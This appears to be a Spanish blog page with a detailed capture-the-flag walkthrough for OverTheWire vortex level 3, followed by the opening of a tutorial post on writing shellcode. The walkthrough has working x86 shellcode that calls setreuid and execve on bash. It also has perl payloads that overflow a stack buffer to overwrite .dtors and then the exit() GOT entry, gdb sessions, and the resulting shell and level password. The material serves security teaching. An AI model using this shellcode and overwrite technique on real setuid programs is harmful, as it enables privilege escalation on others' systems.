Mostrando entradas con la etiqueta x86. Mostrar todas las entradas
Mostrando entradas con la etiqueta x86. Mostrar todas las entradas

jueves, 7 de marzo de 2013

Solución al reto overthewire vortex level 3

Tengo que reconocer que este nivel me ha costado bastante más y que he tenido que investigar cómo funcionan ciertas cosas :D. Como de costumbre, esto va a ser un post largo con explicaciones muy detalladas de todo (más o menos, las cosas inútiles no) lo que tuve que hacer.

Empezamos como siempre, con el enunciado:

A Stack Overflow with a Difference
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE:
ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here
NOTE: This level is solvable, but it is tricky. If all else fails, use an intelligent bruteforce and then circle back to find out why it worked.
Reading Material
Smashing the Stack for Fun and Profit
Bypassing StackGuard and StackShield
Code listing (vortex3.c)
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson <je@0xbadc0ded.org>
 */


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}
Vamos a empezar programándonos la shellcode. Quizás se pueda buscar alguna por internet para esto pero prefiero hacerlas yo, además no es muy complicado. Lo cierto es que no empecé el nivel así (programando), pero dado que esta tarea es totalmente paralela al análisis, lo dejamos hecho ya y luego explicamos todo lo otro que es bastante más gordo y prefiero que esté seguido.

Bueno, como explica el enunciado la shellcode deberá llamar a setreuid() para ejecutarse con permisos de level4 ya que bash dropea los permisos que le otorga el SUID. Esto no es del todo cierto, por defecto efectivamente bash dropea esos permisos, pero se puede evitar ese comportamiento pasándole el argumento "-p" (o recompilando bash y buscando una variable global que no recuerdo el nombre ahora mismo, pero que egrepeando por "privilege" se encuentra fácil, se cambia de 0 a 1 y ese bash no dropeará privilegios xD). El argumento "-p" hace más cosas, man bash ;).

En cualquier caso vamos a hacer caso al enunciado y vamos a hacer llamada a setresuid() en nuestra shellcode, ahí va:

use32
  
    jmp trick

shellcode:
    pop esi
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; setreuid()
    ;
    ; 0x138c = 5004 es el UID del usuario vortex4
    mov cx, 0x138c
    mov bx, 0x138c
    mov al, 0x46
    int 0x80

    ; execve("/bin/bash")
    xor eax, eax
    mov [esi + 9], al
    mov [esi + 10], esi
    mov [esi + 14], eax
    mov ebx, esi
    mov ecx, esi
    add cl, 10
    xor esi, esi
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/bashABBBBCCCC"


No tiene mucho misterio, creo que uso todos los truquillos que expliqué en la entrada de programación de shellcodes. Truco del jmp-call-pop, no produce bytes nulos, no llama a bibliotecas, en la string final los bytes nulos no están hardcodeados sino que el código se encarga de ponerlos (en 'A'). Lo único medianamente novedoso es la llamada a setreuid() pero es muy sencilla. Realmente no se llama a setreuid() para ser concretos, sino a sys_setreuid, la llamada al sistema que en el fondo implementa todo esto. El número es el 70 = 0x46. Se compila con nasm.

Bueno, con eso ya tenemos preparada la shellcode para cuando vayamos a explotar el programa. Ahora pasemos a lo gordo, el análisis.

Mirando el fuente vemos que tiene un buffer estático de 128 bytes y un strcpy() sobre el mismo, así que ahí tenemos el bof. Analizando el código ensamblador podemos confirmar que justo detrás de buf se encuentran las variables tmp y lpp, en ese orden. Cuando sobrescribamos primero pisaremos tmp y después lpp. Luego podemos ver que se comprueba que lpp tenga en sus dos bytes más significativos el valor 0x0804 (típico de las direcciones de secciones .text, .rodata, .data, etc...) y si no es el caso termina la ejecución. Justo después viene la parte interesante, un tejemaneje con punteros que tendremos que entender qué hace.

Básicamente tmp está actuando como variable auxiliar del contenido de *lpp, su valor se guarda en tmp y luego se recupera. El código más interesante es la línea del medio:

**lpp = (unsigned int)&buf

Se pone la dirección de buf (donde, si aún no lo has pensado, pondremos nuestra shellcode) en la doble indirección de lpp, una imagen vale más que mil palabras.

Un poco lío con las flechas pero creo que ayuda a clarificar.

La idea entonces es aprovechar el bof para sobreescribir lpp (tmp da igual... realmente no, ya veremos más adelante por qué) de forma que apunte a un sitio que a su vez apunte a otro sitio que sepamos que en algún momento ese valor será usado para saltar a código allí apuntado. Lo siento por el lío :(.

Yendo al grano, esto está pensado en un primer momento para aprovecharse de la sección .dtors. Explico a mi manera qué es esto. Dtors es un acrónimo de DestrucTORS, en los ELF suele haber una sección reservada para dar soporte a lenguajes con constructores y destructores globales (también hay una sección .ctors). Básicamente es una lista con punteros a funciones que serán ejecutadas justo antes de terminar el programa, bien sea porque main() hace return o porque en algún punto de la ejecución se llama a exit() o funciones de esa familia. Veamosla en el binario vortex3.

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  ... SNIP ...
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4

  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  ... SNIP ...


El formato de esta lista es el siguiente, comienza con el valor 0xffffffff y acaba con nulo (0x00000000), veámosla.

$ objdump -j .dtors -s vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........


En este caso está vacía. Observemos un detalle interesante de esta sección, ¡tiene permisos de escritura (WA)!. Sí sí, suena fuerte y tal pero es así. En el enunciado se nos avisa de que puede que ya no se pueda escribir en esta zona, a pesar de que se ha compilado el binario con bla bla bla. Lo cierto es que sí se puede, no sé por qué han puesto eso, sin embargo sí que hay una protección pero que no viene dada por los permisos. En un momento veremos qué pasa. Por el momento hagamos como que no sabemos nada, así explico las vicisitudes por las que pasé.

Entonces lo que vamos a intentar es escribir en la sección .dtors la dirección de nuestro buffer (que contendrá la shellcode), de forma que cuando el programa termine, la ejecute. Para ello necesitamos escribir en la dirección 0x08049540 (la primera posición en la lista de dtors) la dirección de buf. Y para lograr esto nos hace falta que lpp contenga una dirección cuyo contenido sea precisamente ese valor (doble indirección), además esa dirección no puede ser cualquiera debe estar en 0x0804XXXX. Figura "aclaratoria":


Sobrescribir lpp es sencillo, simplemente tenemos que aprovechar el bof. Ahora bien, ¿cómo podemos hacer que apunte a algo que contenga el valor 0x08049540?, ¿dónde podríamos poner ese valor y luego hacer que lpp apuntara a allí?. Es más sencillo de lo que parece, buscamos el valor por la memoria del proceso y vemos si está por algún lado (no nos importa por qué llegó allí, tan sólo que esté :D).

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804816c 00016c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          0804818c 00018c 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080481ec 0001ec 000051 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804823e 00023e 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804824c 00024c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804826c 00026c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048274 000274 000020 08   A  5  12  4
  [11] .init             PROGBITS        08048294 000294 000030 00  AX  0   0  4
  [12] .plt              PROGBITS        080482c4 0002c4 000050 04  AX  0   0  4
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4
  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  [23] .data             PROGBITS        08049630 000630 000010 00  WA  0   0  4
  [24] .bss              NOBITS          08049640 000640 000008 00  WA  0   0  4
  [25] .comment          PROGBITS        00000000 000640 000054 01  MS  0   0  1
  [26] .shstrtab         STRTAB          00000000 000694 0000ee 00      0   0  1
  [27] .symtab           SYMTAB          00000000 000c0c 000430 10     28  44  4
  [28] .strtab           STRTAB          00000000 00103c 000216 00      0   0  1

Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x08049540
0x8048366 <__do_global_dtors_aux+22>
0x8048fb0
0x8049366

3 patterns found.


He marcado en negrita lo más interesante, las direcciones de dos secciones, la primera y la última que están en posiciones 0x0804XXXX y el comando find de gdb con el que busco entre esas direcciones de memoria alguna posición que contenga el valor que buscamos. Aparece en 3 sitios distintos, así que cualquiera de esas direcciones es a donde debería a puntar lpp. Estoy obviando un detalle, he ejecutado el programa y lo he parado al principio de main() para buscar el valor por su memoria. En este caso nos va a funcionar, pero si por lo que fuera este proceso está muy loco y empieza a cambiar su memoria de manera que lo que ahora contienen esas direcciones luego no fuera lo mismo habría que hacer un análisis más profundo del proceso para buscar un sitio donde nuestro valor esté en el momento en que vayamos a usarlo. Aquí estamos suponiendo que la dirección que vaya a usar para lpp (de las 3 posibles) va a tener siempre el valor que necesitamos (0x08049540)... y suponer no siempre es bueno... más bien nunca es bueno.

Bien, si en .dtors no se pudiera escribir, cuando lo vayamos a intentar lo suyo sería que se lanzara SIGSEGV. Vamos a explotar el bof y escribir a ver que pasa...

$ du -b /tmp/oleshellcode
70    /tmp/oleshellcode

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>:    push   %ebp
   0x080483d5 <+1>:    mov    %esp,%ebp
   0x080483d7 <+3>:    and    $0xfffffff0,%esp
   0x080483da <+6>:    sub    $0xa0,%esp
   0x080483e0 <+12>:    movl   $0x804963c,0x9c(%esp)
   0x080483eb <+23>:    cmpl   $0x2,0x8(%ebp)
   0x080483ef <+27>:    je     0x80483fd <main+41>
   0x080483f1 <+29>:    movl   $0x1,(%esp)
   0x080483f8 <+36>:    call   0x8048304 <exit@plt>
   0x080483fd <+41>:    mov    0xc(%ebp),%eax
   0x08048400 <+44>:    add    $0x4,%eax
   0x08048403 <+47>:    mov    (%eax),%eax
   0x08048405 <+49>:    mov    %eax,0x4(%esp)
   0x08048409 <+53>:    lea    0x18(%esp),%eax
   0x0804840d <+57>:    mov    %eax,(%esp)
   0x08048410 <+60>:    call   0x80482f4 <strcpy@plt>
   0x08048415 <+65>:    mov    0x9c(%esp),%eax
   0x0804841c <+72>:    mov    $0x0,%ax
   0x08048420 <+76>:    cmp    $0x8040000,%eax
   0x08048425 <+81>:    je     0x8048433 <main+95>
   0x08048427 <+83>:    movl   $0x2,(%esp)
   0x0804842e <+90>:    call   0x8048304 <exit@plt>
   0x08048433 <+95>:    mov    0x9c(%esp),%eax
   0x0804843a <+102>:    mov    (%eax),%eax
   0x0804843c <+104>:    mov    %eax,0x98(%esp)
   0x08048443 <+111>:    mov    0x9c(%esp),%eax
   0x0804844a <+118>:    mov    (%eax),%eax
   0x0804844c <+120>:    lea    0x18(%esp),%edx
   0x08048450 <+124>:    mov    %edx,(%eax)
   0x08048452 <+126>:    mov    0x9c(%esp),%eax
   0x08048459 <+133>:    mov    0x98(%esp),%edx
   0x08048460 <+140>:    mov    %edx,(%eax)
   0x08048462 <+142>:    movl   $0x0,(%esp)
   0x08048469 <+149>:    call   0x8048304 <exit@plt>
End of assembler dump.
(gdb) br *main+60
Breakpoint 1 at 0x8048410
(gdb) br *main+149
Breakpoint 2 at 0x8048469

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"

Breakpoint 1, 0x08048410 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0xffffd6d4    0xf7ffda74
0xffffd640:    0x00000000    0xf7fd72e8    0x00000001    0x00000000
0xffffd650:    0x00000001    0xf7ffd918    0x00000000    0x00000000
0xffffd660:    0x00080000    0x000a0000    0x00010000    0xf7fd2ff4
0xffffd670:    0xf7f80b19    0xf7ea2ab5    0xffffd688    0xf7e89c65
0xffffd680:    0x00000000    0x08049614    0xffffd698    0x080482c0
0xffffd690:    0xf7fd2ff4    0x08049614    0xffffd6c8    0x08048489
0xffffd6a0:    0xf7ea2c3d    0xf7fd3324    0xf7fd2ff4    0xffffd6c8
0xffffd6b0:    0xf7ea2cb5    0xf7feed80    0x0804847b    0x0804963c
0xffffd6c0:    0x08048470    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4
(gdb) nexti
0x08048415 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0x90909090    0x90909090
0xffffd640:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd650:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd660:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd670:    0x2deb9090    0x31c0315e    0x31c931db    0x8cb966d2
0xffffd680:    0x8cbb6613    0xcd46b013    0x88c03180    0x76890946
0xffffd690:    0x0e46890a    0xf189f389    0x310ac180    0xcd0bb0f6
0xffffd6a0:    0xffcee880    0x622fffff    0x622f6e69    0x41687361
0xffffd6b0:    0x42424242    0x43434343    0x41434143    0x08048366
0xffffd6c0:    0x08048400    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4

(gdb) x/xw 0x08048366
0x8048366 <__do_global_dtors_aux+22>:    0x08049540
(gdb) x/xw 0x08049540
0x8049540 <__DTOR_END__>:    0x00000000


Todo lo rojo es el buffer en sí mismo, en verte tmp y en azul lpp. Hemos inspeccionado la pila justo antes y después del strcpy(), vemos que efectivamente hemos sobrescrito lpp con el valor que queríamos, una dirección de memoria 0x0804XXXX cuyo contenido contiene otra dirección, ésta a su vez apunta a 0x08049540 (la primera función en la lista .dtors).

Ahora si todo funciona como pensamos, después de la ejecución del código que juega con *lpp, tmp, **lpp y &buf, en 0x08049540 debería pasar de contener 0x00000000 a contener la dirección del buffer (0xffffd638).

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048460 in main ()


Hemos obtenido SIGSEGV, ¿por qué?. Veámoslo.

(gdb) x/i $eip
=> 0x8048460 <main+140>:    mov    %edx,(%eax)
(gdb) info register
eax            0x8048366    134513510
ecx            0x0    0
edx            0x8049540    134518080
ebx            0xf7fd2ff4    -134402060
esp            0xffffd620    0xffffd620
ebp            0xffffd6c8    0xffffd6c8
esi            0x0    0
edi            0x0    0
eip            0x8048460    0x8048460 <main+140>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0     0
gs             0x63    99


Aquí vemos lo que está pasando, se ha intentado escribir en 0x0848366 y no se puede, probablemente porque esa sección sea de sólo lectura. Volvamos a mirar las secciones:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    ... SNIP ...
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    ... SNIP ...

Bueno, ahí tenemos el motivo, la dirección donde intentamos escribir está en la sección .text que es de sólo lectura. Así que de las 3 direcciones que obtuvimos que contenian el valor 0x08049540 no nos vale cualquiera, necesitamos uno donde podamos escribir. Nos quedan entonces 2 posibilidades más (0x08048fb0 y 0x08049366), veamos dónde están:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804816c->0x804818c at 0x0000016c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804818c->0x80481ec at 0x0000018c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80481ec->0x804823d at 0x000001ec: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804823e->0x804824a at 0x0000023e: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804824c->0x804826c at 0x0000024c: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804826c->0x8048274 at 0x0000026c: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048274->0x8048294 at 0x00000274: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048294->0x80482c4 at 0x00000294: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x80482c4->0x8048314 at 0x000002c4: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x804850c->0x8048528 at 0x0000050c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048528->0x8048530 at 0x00000528: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048530->0x8048534 at 0x00000530: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049534->0x804953c at 0x00000534: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804953c->0x8049544 at 0x0000053c: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x8049544->0x8049548 at 0x00000544: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x8049548->0x8049610 at 0x00000548: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x8049610->0x8049614 at 0x00000610: .got ALLOC LOAD DATA HAS_CONTENTS
    0x8049614->0x8049630 at 0x00000614: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x8049630->0x8049640 at 0x00000630: .data ALLOC LOAD DATA HAS_CONTENTS
    0x8049640->0x8049648 at 0x00000640: .bss ALLOC
    0x0000->0x0054 at 0x00000640: .comment READONLY HAS_CONTENTS


Podemos ver que ambas direcciones no caen en ninguna de las secciones.

Juro por dios (¡o por cualquier otro personaje de ficción! digamos... ¡superman!) que he gastado bastantes horas intentando averiguar por qué esto es así, por qué hay direcciones de memoria accesibles que sin embargo no están en ninguna sección e intentar ver los permisos exactos de esas direcciones, pero no voy a mentir no lo he logrado y no sé la respuesta... aún. Ya probaré algún día a trapetear por el manejo de memoria del kernel a ver si encuentro algo que me aclare esto. Muchas veces veo artículos, noticias y demás documentos donde el autor, por no poder explicar algo lo que hace es rodearlo y no tocar el tema y de esta forma queda más guay y parece que controla todo hasta el último detalle, pues que les den por culo en su ignorancia. Prefiero reconocer hasta dónde llegan mis conocimientos y no llevar a error al lector, que quedar como algo que no soy (un pro) y que la gente se lo crea. En fin, después del momento "un día de furia" volvamos a lo nuestro. Por ahora vamos a tener que hacer un acto de fé (bleg!).

Visto lo visto vamos a probar a ciegas otra de las direcciones que tenemos, a ver que pasa.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br *main+149
Breakpoint 1 at 0x8048469
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"

Breakpoint 1, 0x08048469 in main ()(gdb) x/3x 0x0804953c
0x804953c <__DTOR_LIST__>:    0xffffffff    0xffffd638    0x00000000

(gdb) x/5i 0xffffd638
   0xffffd638:    nop
   0xffffd639:    nop
   0xffffd63a:    nop
   0xffffd63b:    nop
   0xffffd63c:    nop



Podemos ver que ahora sí hemos conseguido meter la dirección de buf dentro de la lista de dtors y que además ésta mantiene el formato (comienzo por 0xffffffff y fin con 0x00000000). Con esto queda demostrado que efectivamente sí podemos escribir en esa memoria. Ahora sólo quedaría terminar la ejecución del programa y que se ejecute nuestra shellcode.

(gdb) cont
Continuing.

Program exited normally.


?!?!?!, ¿qué está pasando aquí?, ¿por qué no se ejecuta nuestra shellcode?. Tal vez por este comportamiento se advierte en el enunciado que no se puede explotar con dtors, pero como hemos visto no es porque no se pueda escribir allí. Para comprenderlo tenemos que mirar los fuentes del gcc de la versión con que se compiló el binario. No sé si se puede averiguar que versión concreta del compilador se usó así que supondremos que se usó la versión que hay instalada en el sistema.

$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


Nos bajamos los fuentes de la versión de alguno de los repositorios o con apt-get source y buscamos dentro de los mismos la parte que corresponde a la ejecución de dtors. Para agilizarlo un poco comento que la función que se encarga de eso es __do_global_dtor_aux(). Sabiendo esto y grepeando un poco nos daremos cuenta que se encuentra en crtstuff.c, veámosla.

static void __attribute__((used))
__do_global_dtors_aux (void)
{
  ... SNIP ...
#elif defined(HIDDEN_DTOR_LIST_END)
  {
    /* Safer version that makes sure only .dtors function pointers are
       called even if the static variable is maliciously changed.  */

    extern func_ptr __DTOR_END__[] __attribute__((visibility ("hidden")));
    static size_t dtor_idx;
    const size_t max_idx = __DTOR_END__ - __DTOR_LIST__ - 1;
    func_ptr f;

    while (dtor_idx < max_idx)
      {
    f = __DTOR_LIST__[++dtor_idx];
    f ();
      }
  }

   ... SNIP ...

Los propios comentarios nos explican qué está pasando, gracias por comentar el código :). Báscamente se comprueba el tamaño de la lista, esto provoca que cómo al compilar había 0 funciones dtors pues no se ejecuta ninguna y aunque metemos nuestra shellcode ahí no se llega a entrar en el while. Por otro lado aunque no lo he comprobado sospecho que, si hubiera funciones en la lista, podríamos sobrescribirlas con la dirección de nuestra shellcode y conseguiríamos la ejecución.

Resuelta la duda de por qué añadiendo la dirección de la shellcode a dtors no se ejecuta vamos a ver cómo conseguirlo. En esta ocasión vamos a usar el mismo concepto pero en otro lado. Vamos a sobrescribir un puntero a una función de forma que cuando esa función sea llamada en verdad se llame a nuestra shellcode. ¿Y dónde está ese puntero a función? Pues en la GOT (Global Offset Table). Para hacer la carga de los programas más rápida, cuando un programa es cargado en memoria el enlazador no carga todas las bibliotecas que necesita el programa ya que pueden ser muchas y esto provoca una carga lenta y un consumo de memoria alto, más teniendo en cuenta que a lo mejor el programa en esa ejecución concreta no llame a todas las funciones, cosa altamente probable ya que en la ejecución de un programa no es normal que éste recorra todo su código. Lo que se hace es hacer que las llamadas a funciones externas llamen realmente a pequeñas funciones en la GOT y de ahí a la función real. Veamos cómo son estas pequeñas funciones en la sección .plt.

$ objdump -j .plt -d vortex3

vortex3:     file format elf32-i386


Disassembly of section .plt:

080482c4 <__gmon_start__@plt-0x10>:
 80482c4:    ff 35 18 96 04 08        pushl  0x8049618
 80482ca:    ff 25 1c 96 04 08        jmp    *0x804961c
 80482d0:    00 00                    add    %al,(%eax)
    ...

080482d4 <__gmon_start__@plt>:
 80482d4:    ff 25 20 96 04 08        jmp    *0x8049620
 80482da:    68 00 00 00 00           push   $0x0
 80482df:    e9 e0 ff ff ff           jmp    80482c4 <_init+0x30>

080482e4 <__libc_start_main@plt>:
 80482e4:    ff 25 24 96 04 08        jmp    *0x8049624
 80482ea:    68 08 00 00 00           push   $0x8
 80482ef:    e9 d0 ff ff ff           jmp    80482c4 <_init+0x30>

080482f4 <strcpy@plt>:
 80482f4:    ff 25 28 96 04 08        jmp    *0x8049628
 80482fa:    68 10 00 00 00           push   $0x10
 80482ff:    e9 c0 ff ff ff           jmp    80482c4 <_init+0x30>

08048304 <exit@plt>:
 8048304:    ff 25 2c 96 04 08        jmp    *0x804962c
 804830a:    68 18 00 00 00           push   $0x18
 804830f:    e9 b0 ff ff ff           jmp    80482c4 <_init+0x30>


Vemos que las funciones en plt tienen al principio un salto incondicional hacia la dirección contenida en esos punteros. Por ejemplo, para llamar a la función strcpy() se salta a la dirección contenida en 0x08049628. ¿Qué es lo que vamos a hacer?, vamos a sobrescribir alguna de las funciones que se ejecuten después del código que pone la dirección de buf en la doble indirección (que se ejecute antes no vale porque cuando se llamara a dicha función aún no se habría echo el cambio de punteros). La función que tiene todas las papeletas es exit(). Lo que necesitamos es buscar alguna dirección de memoria en la que se pueda escribir y que apunte a 0x0804962c.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x0804962c
0x804828c
0x8048306 <exit@plt+2>
0x804928c
0x8049306
4 patterns found.


De nuevo tengo el mismo problema de antes, algunas de esas dirección están misteriosamente fuera de los maps del proceso. Probaremos con la última, que se parece mucho a la que elegimos la última vez.

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"

Breakpoint 1, 0x080483d7 in main ()
(gdb) cont
Continuing.
process 9914 is executing new program: /proc/9914/exe
/proc/9914/exe: Permission denied.


Ahora sí está intentado ejecutar la shellcode :). Hagamos la explotación desde fuera del gdb.

$ ./vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)

$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


Y ya tenemos lo que queríamos :). Nos ha costado un poco más de la cuenta porque la gente de gcc nos lo ha puesto un poco más difícil, pero conseguimos sobreponernos :).

Saludos.

miércoles, 19 de septiembre de 2012

Minicurso de exploiting (parte 10): Shellcodes y técnicas de programación de shellcodes 1

En la última entrada, después de mucho lío, vimos cómo explotar un bof e inyectar código en el proceso para posteriormente ejecutarlo, consiguiendo que el programa dejara de hacer lo que se suponía debía hacer para hacer lo que nosotros queríamos que hiciera. En el caso que mostré ejecutamos una calculadora, algo divertido pero poco útil. En esta entrada veremos que es lo más común que se suele ejecutar cuando se explota un bof (una shellcode) y cómo hacerlas.

Lo primero es saber qué es una shellcode, como el propio nombre indica una shellcode es básicamente un pequeño programa que ejecuta una shell. El ejemplo más típico es el siguiente:

#include <unistd.h>

int main(int argc, char *argv[]) {
    char *args[2] = { "/bin/bash", NULL };
    execve(args[0], args, NULL);
}


Algo tan simple como eso ya nos da una shell. Aun así no nos vale crear este programa e inyectarlo, como vimos en la entrada anterior sólo nos interesan los bytes que corresponden a las instrucciones que hacen la llamada a la shell. También vimos que no siempre se puede inyectar cualquier cosa, hay ciertas características que se deben cumplir para que la shellcode pueda ser inyectada, como por ejemplo que no tenga bytes nulos, pero esto no es lo único. He aquí una serie de restricciones y características que la shellcode debería cumplir.
  1. No contener bytes nulos.
  2. No contener saltos de línea.
  3. Ser "relocatable".
  4. Poner bytes nulos al final de las strings.
  5. No hacer uso de bibliotecas.
  6. Ser lo más pequeña posible.
  7. Nopsleds.
Veamos ahora más detenidamente qué significa cada uno de estos puntos y cómo aplicarlos a una shellcode de verdad.

No contener bytes nulos

